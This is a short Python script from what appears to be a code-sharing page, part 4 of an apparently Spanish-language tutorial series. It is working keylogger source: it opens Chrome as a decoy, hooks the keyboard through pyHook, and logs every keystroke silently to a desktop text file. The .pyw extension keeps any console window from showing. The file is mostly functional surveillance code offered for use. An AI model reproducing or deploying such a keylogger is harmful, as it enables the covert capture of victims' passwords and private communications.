4_Cambiar_la_forma_en_que_se_guarda_la_informacion.pyw 661 B

12345678910111213141516171819
  1. # -*- coding: utf-8 -*-
  2. import pyHook, pythoncom, logging, os
  3. os.startfile("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe")
  4. def eventoTeclado(evento):
  5. logging.basicConfig(filename='C:\\Users\\Jorge\\Desktop\\archivoDondeSeGuardanLasTeclasPulsadas.txt', level=logging.DEBUG, format="%(message)s")
  6. if evento.Ascii == 8: logging.log(10,str("[Retroceso]"))
  7. elif evento.Ascii == 9: logging.log(10,str("[Tabulador]"))
  8. elif evento.Ascii == 13: logging.log(10,str("[Enter]"))
  9. else: logging.log(10,chr(evento.Ascii))
  10. controlador = pyHook.HookManager()
  11. controlador.KeyDown = eventoTeclado
  12. controlador.HookKeyboard()
  13. pythoncom.PumpMessages()